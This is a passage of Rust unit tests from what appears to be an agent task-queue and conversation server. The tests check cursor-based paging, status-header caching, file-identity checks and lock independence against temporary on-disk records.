26245            pr: "https://example.invalid/pr/1".into(),
26246            findings: vec![],
26247            generation: 1,
26248        });
26249        ui.queue.put(&mut child).unwrap();
26250        let mut question = Question::new(
26251            child.id.clone(),
26252            crate::conduct::NODE.into(),
26253            "seat".into(),
26254            "Continue?".into(),
26255            String::new(),
26256            vec![],
26257        );
26258        let (tasks, talks, _watches) =
26259            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26260        assert_eq!(tasks.len(), 2);
26261        assert_eq!(talks.len(), 1);
26262        assert_eq!(
26263            ui.monitor.queue_index.lock().unwrap().reparsed,
26264            0,
26265            "exact ancestry bypasses the index"
26266        );
26267        assert_eq!(
26268            crate::consult::origin_talk(&tasks, &talks, &question)
26269                .unwrap()
26270                .id,
26271            chat_id
26272        );
26273        question.run = "run-child".into();
26274        question.node = "review".into();
26275        for origin_task in [Some(parent.id.clone()), None] {
26276            child.followup.as_mut().unwrap().origin_task = origin_task;
26277            ui.queue.put(&mut child).unwrap();
26278            let (tasks, talks, _watches) =
26279                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26280            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
26281            let expected =
26282                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
26283                    .unwrap();
26284            assert_eq!(actual.id, expected.id);
26285            assert!(!actual.status.open());
26286            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26287            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26288            // Without Unix file identity, every readable record must be
26289            // reparsed to detect same-size, same-mtime replacements safely.
26290            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
26291            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26292        }
26293        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
26294        ui.queue.put(&mut child).unwrap();
26295        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
26296        let (tasks, talks, _watches) =
26297            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26298        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26299        child.origin_chat = Some(chat_id.clone());
26300        ui.queue.put(&mut child).unwrap();
26301        let (tasks, talks, _watches) =
26302            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26303        assert_eq!(
26304            crate::consult::origin_talk(&tasks, &talks, &question)
26305                .unwrap()
26306                .id,
26307            chat_id
26308        );
26309        let revision = question_record_revision(&question);
26310        question.abandon("settled elsewhere");
26311        assert_ne!(revision, question_record_revision(&question));
26312        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26313        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
26314        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
26315        let (tasks, talks, _watches) =
26316            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26317        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
26318    }
26319
26320    #[test]
26321    fn list_cursors_freeze_membership_and_expire_explicitly() {
26322        let home = tempfile::tempdir().unwrap();
26323        let ui = delta_test_ui(home.path());
26324        std::fs::create_dir_all(ui.queue.root()).unwrap();
26325        for i in 0..40 {
26326            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
26327        }
26328        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
26329        assert_eq!(first.len(), STORE_PAGE_SIZE);
26330        let cursor = cursor.unwrap();
26331        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
26332        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
26333        let (second, _) = page_ids(
26334            &ui,
26335            false,
26336            PageQuery {
26337                before: Some(cursor.clone()),
26338            },
26339        )
26340        .unwrap();
26341        assert_eq!(second[0], "record-0023");
26342        assert!(second.iter().all(|id| !first.contains(id)));
26343        assert!(
26344            page_ids(
26345                &ui,
26346                true,
26347                PageQuery {
26348                    before: Some(cursor.clone())
26349                }
26350            )
26351            .is_err()
26352        );
26353        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
26354        assert_eq!(fresh[0], "record-9999");
26355        ui.monitor.list_walks.lock().unwrap().clear();
26356        assert!(
26357            page_ids(
26358                &ui,
26359                false,
26360                PageQuery {
26361                    before: Some(cursor)
26362                }
26363            )
26364            .is_err()
26365        );
26366    }
26367
26368    #[tokio::test]
26369    async fn talk_pages_load_every_open_then_frozen_closed_history() {
26370        let home = tempfile::tempdir().unwrap();
26371        let ui = delta_test_ui(home.path());
26372        // Every closed conversation is newer by ID than every open conversation.
26373        for i in 0..23 {
26374            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
26375        }
26376        for i in 0..45 {
26377            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
26378        }
26379        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
26380        let first = talks_page(
26381            State(ui.clone()),
26382            Query(PageQuery::default()),
26383            header::HeaderMap::new(),
26384        )
26385        .await
26386        .unwrap()
26387        .0;
26388        assert_eq!(
26389            first.rows.iter().filter(|row| row.status.open()).count(),
26390            23
26391        );
26392        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
26393        assert!(first.rows[..23].iter().all(|row| row.status.open()));
26394        let parsed = ui
26395            .monitor
26396            .talk_parses
26397            .load(std::sync::atomic::Ordering::Relaxed);
26398        assert_eq!(
26399            parsed,
26400            first.rows.len(),
26401            "closed bodies outside this page are not restored"
26402        );
26403        let fresh = talks_page(
26404            State(ui.clone()),
26405            Query(PageQuery::default()),
26406            header::HeaderMap::new(),
26407        )
26408        .await
26409        .unwrap()
26410        .0;
26411        assert_eq!(fresh.rows.len(), first.rows.len());
26412        assert_eq!(
26413            ui.monitor
26414                .talk_parses
26415                .load(std::sync::atomic::Ordering::Relaxed),
26416            parsed
26417        );
26418        let mut seen: std::collections::HashSet<_> =
26419            first.rows.iter().map(|row| row.id.clone()).collect();
26420        // Status changes keep their original membership position until refresh.
26421        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
26422        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
26423        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
26424        let mut next = first.next;
26425        while let Some(cursor) = next {
26426            let page = talks_page(
26427                State(ui.clone()),
26428                Query(PageQuery {
26429                    before: Some(cursor),
26430                }),
26431                header::HeaderMap::new(),
26432            )
26433            .await
26434            .unwrap()
26435            .0;
26436            assert!(page.rows.len() <= STORE_PAGE_SIZE);
26437            for row in page.rows {
26438                assert!(seen.insert(row.id), "a cursor must not repeat membership");
26439            }
26440            next = page.next;
26441        }
26442        let expected: HashSet<_> = (0..23)
26443            .map(|i| format!("20260101-000000-{i:03}"))
26444            .chain(
26445                (0..45)
26446                    .filter(|i| *i != 1)
26447                    .map(|i| format!("20261019-000000-{i:03}")),
26448            )
26449            .collect();
26450        assert_eq!(
26451            seen, expected,
26452            "the cursor walk must return every surviving ID"
26453        );
26454        let refreshed = talks_page(
26455            State(ui.clone()),
26456            Query(PageQuery::default()),
26457            header::HeaderMap::new(),
26458        )
26459        .await
26460        .unwrap()
26461        .0;
26462        assert_eq!(
26463            refreshed
26464                .rows
26465                .iter()
26466                .filter(|row| row.status.open())
26467                .count(),
26468            23
26469        );
26470        assert!(
26471            refreshed
26472                .rows
26473                .iter()
26474                .any(|row| row.id == "20261019-000000-000")
26475        );
26476        assert!(
26477            !refreshed
26478                .rows
26479                .iter()
26480                .any(|row| row.id == "20260101-000000-000")
26481        );
26482    }
26483
26484    #[test]
26485    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
26486        let home = tempfile::tempdir().unwrap();
26487        let ui = delta_test_ui(home.path());
26488        for i in 0..STORE_PAGE_SIZE + 5 {
26489            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
26490        }
26491        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
26492        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
26493        assert!(next.is_none());
26494    }
26495
26496    #[test]
26497    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
26498        struct Counted<R> {
26499            inner: R,
26500            bytes: usize,
26501        }
26502        impl<R: std::io::Read> std::io::Read for Counted<R> {
26503            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
26504                let n = self.inner.read(buf)?;
26505                self.bytes += n;
26506                Ok(n)
26507            }
26508        }
26509        let home = tempfile::tempdir().unwrap();
26510        let ui = delta_test_ui(home.path());
26511        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
26512        let mut chat = ui.talks.get(&id).unwrap();
26513        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
26514            chat.turns = vec![
26515                serde_json::from_value(serde_json::json!({
26516                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
26517                }))
26518                .unwrap(),
26519            ];
26520            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
26521                chat.status = status;
26522                // Exercise the actual on-disk serializer, including its field order.
26523                let body = serde_json::to_vec_pretty(&chat).unwrap();
26524                let mut reader = Counted {
26525                    inner: body.as_slice(),
26526                    bytes: 0,
26527                };
26528                assert_eq!(read_talk_status(&mut reader), Some(status));
26529                assert!(
26530                    reader.bytes <= 1024,
26531                    "header classification read {} bytes",
26532                    reader.bytes
26533                );
26534            }
26535        }
26536        // Noncanonical field order must neither traverse a transcript nor hide
26537        // an open row. Its real status is validated by the ordinary row reader.
26538        let noncanonical = format!(
26539            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
26540            "x".repeat(1024 * 1024)
26541        );
26542        let mut reader = Counted {
26543            inner: noncanonical.as_bytes(),
26544            bytes: 0,
26545        };
26546        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26547        assert!(reader.bytes <= 1024);
26548        let oversized = format!(
26549            r#"{{"agent":"{}","status":"open"}}"#,
26550            "x".repeat(128 * 1024)
26551        );
26552        let mut reader = Counted {
26553            inner: oversized.as_bytes(),
26554            bytes: 0,
26555        };
26556        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26557        assert!(reader.bytes <= 64 * 1024);
26558    }
26559
26560    #[test]
26561    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
26562        let home = tempfile::tempdir().unwrap();
26563        let ui = delta_test_ui(home.path());
26564        seed_talk_at(&ui.talks, "header-chat", "open");
26565        std::fs::create_dir_all(ui.queue.root()).unwrap();
26566        let (started, ready) = std::sync::mpsc::channel();
26567        let (release, wait) = std::sync::mpsc::channel();
26568        let chat_ui = ui.clone();
26569        let scan = std::thread::spawn(move || {
26570            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
26571                started.send(()).unwrap();
26572                wait.recv().unwrap();
26573                open_talk_ids(ui, ids)
26574            })
26575            .unwrap()
26576        });
26577        ready.recv_timeout(Duration::from_secs(2)).unwrap();
26578        let (finished, result) = std::sync::mpsc::channel();
26579        let queue = std::thread::spawn(move || {
26580            finished
26581                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
26582                .unwrap();
26583        });
26584        let completed = result.recv_timeout(Duration::from_secs(2));
26585        // Release and join both workers even if the regression returns.
26586        release.send(()).unwrap();
26587        scan.join().unwrap();
26588        queue.join().unwrap();
26589        assert!(
26590            completed.unwrap(),
26591            "queue paging must not wait for chat header I/O"
26592        );
26593    }
26594
26595    #[test]
26596    fn talk_status_projection_does_not_cache_files_changed_during_read() {
26597        let home = tempfile::tempdir().unwrap();
26598        let ui = delta_test_ui(home.path());
26599        let ids = vec!["changing-chat".to_owned()];
26600        seed_talk_at(&ui.talks, &ids[0], "closed");
26601        assert!(open_talk_ids(&ui, &ids).is_empty());
26602        seed_talk_at(&ui.talks, &ids[0], "open");
26603        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
26604            let value: serde_json::Value =
26605                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
26606            // Replace the file after parsing, before its identity is checked again.
26607            seed_talk_at(&ui.talks, &ids[0], "closed");
26608            serde_json::from_value(value["status"].clone()).ok()
26609        });
26610        assert!(open.contains(&ids[0]));
26611        assert!(
26612            ui.monitor
26613                .talk_status_index
26614                .lock()
26615                .unwrap()
26616                .records
26617                .is_empty()
26618        );
26619        assert!(open_talk_ids(&ui, &ids).is_empty());
26620        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26621    }
26622
26623    #[test]
26624    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26625        let home = tempfile::tempdir().unwrap();
26626        let ui = delta_test_ui(home.path());
26627        let ids = vec!["same-stamp-chat".to_owned()];
26628        seed_talk_at(&ui.talks, &ids[0], "open");
26629        // Model a non-Unix metadata collision deterministically: the old
26630        // classification has a fingerprint equal to the current file's.
26631        ui.monitor.talk_status_index.lock().unwrap().records.insert(
26632            ids[0].clone(),
26633            (
26634                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26635                Some(talk::TalkStatus::Closed),
26636            ),
26637        );
26638        let open = open_talk_ids_with(&ui, &ids, false, |path| {
26639            std::fs::File::open(path).ok().and_then(read_talk_status)
26640        });
26641        assert!(
26642            open.contains(&ids[0]),
26643            "an untrusted cache hit must still read the current header"
26644        );
26645        assert!(
26646            ui.monitor
26647                .talk_status_index
26648                .lock()
26649                .unwrap()
26650                .records
26651                .is_empty()
26652        );
26653        seed_talk_at(&ui.talks, &ids[0], "closed");
26654        assert!(
26655            open_talk_ids_with(&ui, &ids, false, |path| {
26656                std::fs::File::open(path).ok().and_then(read_talk_status)
26657            })
26658            .is_empty()
26659        );
26660        let index = ui.monitor.talk_status_index.lock().unwrap();
26661        assert_eq!(index.parses, 2);
26662        assert!(
26663            index.records.is_empty(),
26664            "untrusted fingerprints must never publish cache entries"
26665        );
26666    }
26667
26668    #[test]
26669    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26670        let home = tempfile::tempdir().unwrap();
26671        let ui = delta_test_ui(home.path());
26672        let headers = header::HeaderMap::new();
26673        seed_talk_at(&ui.talks, "open-chat", "open");
26674        seed_talk_at(&ui.talks, "closed-chat", "closed");
26675        talk_rows(
26676            &ui,
26677            vec!["open-chat".into(), "closed-chat".into()],
26678            &headers,
26679        );
26680        {
26681            let mut index = ui.monitor.talk_index.lock().unwrap();
26682            let closed = index["closed-chat"].1.clone();
26683            for i in 0..1000 {
26684                index.insert(
26685                    format!("cached-closed-{i}"),
26686                    (
26687                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26688                        closed.clone(),
26689                    ),
26690                );
26691            }
26692        }
26693        assert_eq!(
26694            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26695            1
26696        );
26697        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26698        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26699        assert_eq!(
26700            ui.monitor
26701                .talk_parses
26702                .load(std::sync::atomic::Ordering::Relaxed),
26703            2
26704        );
26705        {
26706            let mut index = ui.monitor.talk_index.lock().unwrap();
26707            let open = index["open-chat"].1.clone();
26708            for i in 0..1000 {
26709                index.insert(
26710                    format!("cached-open-{i}"),
26711                    (
26712                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26713                        open.clone(),
26714                    ),
26715                );
26716            }
26717        }
26718        // Even when open rows exceed the bound, keep the currently requested rows.
26719        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26720        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26721        assert_eq!(
26722            ui.monitor
26723                .talk_parses
26724                .load(std::sync::atomic::Ordering::Relaxed),
26725            2
26726        );
26727    }
26728
26729    #[test]
26730    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26731        let home = tempfile::tempdir().unwrap();
26732        let ui = delta_test_ui(home.path());
26733        std::fs::create_dir_all(ui.talks.root()).unwrap();
26734        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26735        for id in &ids {
26736            std::fs::write(
26737                ui.talks.path_of(id),
26738                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26739            )
26740            .unwrap();
26741        }
26742        assert!(open_talk_ids(&ui, &ids).is_empty());
26743        assert_eq!(
26744            ui.monitor.talk_status_index.lock().unwrap().parses,
26745            ids.len()
26746        );
26747        assert!(open_talk_ids(&ui, &ids).is_empty());
26748        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26749        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26750        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26751        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26752        assert_eq!(
26753            open_talk_ids(&ui, &ids),
26754            std::collections::HashSet::from([ids[0].clone()])
26755        );
26756        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26757        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26758        assert_eq!(parsed, reused + refreshed);
26759        open_talk_ids(&ui, &ids);
26760        assert_eq!(
26761            ui.monitor.talk_status_index.lock().unwrap().parses,
26762            parsed + if cfg!(unix) { 0 } else { ids.len() },
26763            "only reliable file identity permits caching, including unreadable rows"
26764        );
26765        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26766        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26767        assert!(
26768            !ui.monitor
26769                .talk_status_index
26770                .lock()
26771                .unwrap()
26772                .records
26773                .contains_key(&ids[0])
26774        );
26775        assert!(
26776            ui.monitor.talk_index.lock().unwrap().is_empty(),
26777            "classification never caches bodies"
26778        );
26779    }
26780
26781    #[tokio::test]
26782    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26783        let home = tempfile::tempdir().unwrap();
26784        let ui = delta_test_ui(home.path());
26785        let mut task = Task::new(
26786            "task".into(),
26787            "body".into(),
26788            PathBuf::from("/repo"),
26789            Source::Human,
26790        );
26791        ui.queue.put(&mut task).unwrap();
26792        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26793        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26794        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26795        let expected = parsed + usize::from(!cfg!(unix));
26796        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26797        task.status = crate::queue::TaskStatus::Held;
26798        ui.queue.put(&mut task).unwrap();
26799        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26800        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26801        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26802        ui.queue.put(&mut task).unwrap();
26803        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26804        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26805        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26806    }
26807
26808    #[tokio::test]
26809    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26810        let home = tempfile::tempdir().unwrap();
26811        let ui = delta_test_ui(home.path());
26812        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26813        let before = health(State(ui.clone())).await.unwrap().0;
26814        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26815        let after = health(State(ui)).await.unwrap().0;
26816        assert_ne!(before.notifications_rev, after.notifications_rev);
26817        assert_eq!(after.notifications_unread, 1);
26818    }
26819
26820    #[tokio::test]
26821    async fn list_pages_bound_history_and_keep_dependency_evidence() {
26822        let home = tempfile::tempdir().unwrap();
26823        let ui = delta_test_ui(home.path());
26824        let queue = &ui.queue;
26825        let talks = &ui.talks;
26826        for i in 0..1000 {
26827            let id = format!("20261019-{i:06}-page");
26828            let mut task = Task::new(
26829                "task".into(),
26830                "instruction".repeat(100),
26831                PathBuf::from("/repo/magi"),
26832                Source::Human,
26833            );
26834            task.id = id.clone();
26835            if i == 0 {
26836                task.status = crate::queue::TaskStatus::Held;
26837            } else if i == 999 {
26838                task.status = crate::queue::TaskStatus::Blocked;
26839                task.blocked_by = vec!["20261019-000000-page".into()];
26840            }
26841            queue.put(&mut task).unwrap();
26842            seed_talk_at(talks, &id, "closed");
26843        }
26844        let page = serde_json::to_value(
26845            queue_page(State(ui.clone()), Query(PageQuery::default()))
26846                .await
26847                .unwrap()
26848                .0,
26849        )
26850        .unwrap();
26851        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26852        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26853        assert!(
26854            !page["rows"][0]["stuck_roots"]
26855                .as_array()
26856                .unwrap()
26857                .is_empty()
26858        );
26859        let cursor = page["next"].as_str().unwrap();
26860        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26861            .as_str()
26862            .unwrap();
26863        // Deleting an already enumerated file cannot shift or repeat a page.
26864        std::fs::remove_file(queue.path_of(last_id)).unwrap();
26865        let next = serde_json::to_value(
26866            queue_page(
26867                State(ui.clone()),
26868                Query(PageQuery {
26869                    before: Some(cursor.into()),
26870                }),
26871            )
26872            .await
26873            .unwrap()
26874            .0,
26875        )
26876        .unwrap();
26877        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26878        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26879        let chats = serde_json::to_value(
26880            talks_page(
26881                State(ui.clone()),
26882                Query(PageQuery::default()),
26883                header::HeaderMap::new(),
26884            )
26885            .await
26886            .unwrap()
26887            .0,
26888        )
26889        .unwrap();
26890        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26891        assert!(chats["rows"][0].get("pending").is_none());
26892        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26893        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26894        assert_eq!(counts["held"], 1);
26895        assert_eq!(counts["blocked"], 1);
26896        assert_eq!(counts["queued"], 997);
26897    }
26898
26899    #[test]
26900    fn queue_index_observes_external_replacement_deletion_and_corruption() {
26901        let dir = tempfile::tempdir().unwrap();
26902        let ui = delta_test_ui(dir.path());
26903        let mut task = Task::new(
26904            "task".into(),
26905            "body".into(),
26906            PathBuf::from("/repo"),
26907            Source::Human,
26908        );
26909        task.runs = vec!["run-a".into()];
26910        ui.queue.put(&mut task).unwrap();
26911        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26912        task.runs = vec!["run-b".into()];
26913        let path = ui.queue.path_of(&task.id);
26914        let modified = path.metadata().unwrap().modified().unwrap();
26915        let replacement = path.with_extension("replacement");
26916        let bytes = serde_json::to_vec_pretty(&task).unwrap();
26917        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26918        std::fs::write(&replacement, &bytes).unwrap();
26919        std::fs::File::options()
26920            .write(true)
26921            .open(&replacement)
26922            .unwrap()
26923            .set_times(std::fs::FileTimes::new().set_modified(modified))
26924            .unwrap();
26925        std::fs::rename(&replacement, &path).unwrap();
26926        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26927        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26928        std::fs::write(&path, "broken").unwrap();
26929        assert!(ui.find_task_for_run("run-b").is_err());
26930        std::fs::write(&path, bytes).unwrap();
26931        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26932        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26933        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26934    }
26935
26936    #[tokio::test]
26937    async fn conversation_core_is_independent_of_unreadable_related_history() {
26938        let home = tempfile::tempdir().unwrap();
26939        let ui = delta_test_ui(home.path());
26940        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26941        std::fs::create_dir_all(ui.queue.root()).unwrap();
26942        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26943        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26944            .await
26945            .unwrap();
26946        assert_eq!(core.talk.id, id);
26947        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26948    }
26949
26950    #[test]
26951    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26952        let home = tempfile::tempdir().unwrap();
26953        let ui = delta_test_ui(home.path());
26954        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26955        let directory = home.path().join("workers/jobs/abcdef");
26956        std::fs::create_dir_all(&directory).unwrap();
26957        let job = crate::worker::Job {
26958            id: "abcdef".into(),
26959            sequence: 1,
26960            kind: "chat".into(),
26961            key: id.clone(),
26962            payload: serde_json::json!({ "talk": id }),
26963            generation: "test".into(),
26964            version: None,
26965            status: crate::worker::Status::Running,
26966            result: None,
26967            pid: None,
26968            created_at: 0,
26969            finished_at: None,
26970        };
26971        std::fs::write(
26972            directory.join("job.json"),
26973            serde_json::to_vec(&job).unwrap(),
26974        )
26975        .unwrap();
26976        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26977        let store =
26978            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26979        let runtime = tokio::runtime::Builder::new_current_thread()
26980            .enable_all()
26981            .max_blocking_threads(1)
26982            .build()
26983            .unwrap();
26984        runtime.block_on(async {
26985            let (release, held) = std::sync::mpsc::channel();
26986            let (started, ready) = tokio::sync::oneshot::channel();
26987            let occupied = tokio::task::spawn_blocking(move || {
26988                started.send(()).unwrap();
26989                held.recv().unwrap();
26990            });
26991            ready.await.unwrap();
26992            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26993            let bulk = ui
26994                .monitor
26995                .bulk_slots
26996                .clone()
26997                .acquire_many_owned(2)
26998                .await
26999                .unwrap();
27000            let result = tokio::time::timeout(
27001                Duration::from_secs(2),
27002                talk_core(State(ui.clone()), Path(id.clone())),
27003            )
27004            .await;
27005            // Release all blockers before assertions, including on a regression.
27006            drop(store);
27007            drop(bulk);
27008            release.send(()).unwrap();
27009            occupied.await.unwrap();
27010            let _ = secondary.await.unwrap().unwrap();
27011            let Json(core) = result
27012                .expect("transcript must bypass secondary work and the worker store lock")
27013                .unwrap();
27014            assert!(
27015                core.thinking,
27016                "read-only observation retains live worker state"
27017            );
27018            assert_eq!(core.talk.id, id);
27019            let admission_ui = ui.clone();
27020            let (release, held) = std::sync::mpsc::channel();
27021            let (started, ready) = tokio::sync::oneshot::channel();
27022            let admission = std::thread::spawn(move || {
27023                let _lock = admission_ui.talk_turns.lock().unwrap();
27024                started.send(()).unwrap();
27025                held.recv().unwrap();
27026            });
27027            ready.await.unwrap();
27028            let result = tokio::time::timeout(
27029                Duration::from_secs(2),
27030                talk_core(State(ui.clone()), Path(id.clone())),
27031            )
27032            .await;
27033            release.send(()).unwrap();
27034            admission.join().unwrap();
27035            assert!(
27036                result
27037                    .expect("display must not wait behind local admission")
27038                    .unwrap()
27039                    .0
27040                    .thinking
27041            );
27042            assert!(ui.is_thinking(&id));
27043            assert!(ui.is_thinking_observed(&id));
27044            drop(live);
27045            assert!(
27046                !ui.is_thinking_observed(&id),
27047                "a finished lease no longer appears live"
27048            );
27049            assert!(!ui.is_thinking(&id));
27050            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
27051            assert!(
27052                ui.is_thinking_observed(&id),
27053                "local admission remains visible"
27054            );
27055        });
27056    }
27057
27058    #[tokio::test]
27059    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
27060        let home = tempfile::tempdir().unwrap();
27061        let ui = delta_test_ui(home.path());
27062        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27063        let mut task = Task::new(
27064            "Referenced task".into(),
27065            "Unrelated instruction history".repeat(1024),
27066            home.path().into(),
27067            Source::Human,
27068        );
27069        task.id = "20261019-000000-abcd".into();
27070        ui.queue.put(&mut task).unwrap();
27071        let mut conversation = ui.talks.get(&id).unwrap();
27072        conversation.turns.push(talk::Turn {
27073            sender: Some(talk::Sender::Persona),
27074            who: talk::Who::Agent,
27075            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
27076            at: conversation.created_at,
27077            attachments: Vec::new(),
27078            usage: None,
27079            breaks: None,
27080            messages: Vec::new(),
27081            posted_by: None,
27082        });
27083        ui.talks.put(&mut conversation).unwrap();
27084
27085        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
27086        let markdown = serde_json::to_value(&core.turn_bodies_md)
27087            .unwrap()
27088            .to_string();
27089        assert!(markdown.contains("\"strong\""));
27090        assert!(markdown.contains("\"table\""));
27091        assert!(markdown.contains("\"bullet_list\""));
27092        assert!(markdown.contains("\"code_block\""));
27093        assert!(!markdown.contains("\"internal_link\""));
27094        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
27095        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
27096        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
27097
27098        // Deferred decoration still resolves the same validated task, without
27099        // touching opaque code blocks or changing the original transcript.
27100        let references = ui.references.for_talk(home.path(), &conversation);
27101        let mut decorated = core.turn_bodies_md[0].clone();
27102        references.markdown(&mut decorated);
27103        let decorated = serde_json::to_value(decorated).unwrap().to_string();
27104        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
27105        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
27106        assert_eq!(
27107            ui.talks.get(&conversation.id).unwrap().turns[0].body,
27108            conversation.turns[0].body
27109        );
27110    }
27111
27112    #[tokio::test]
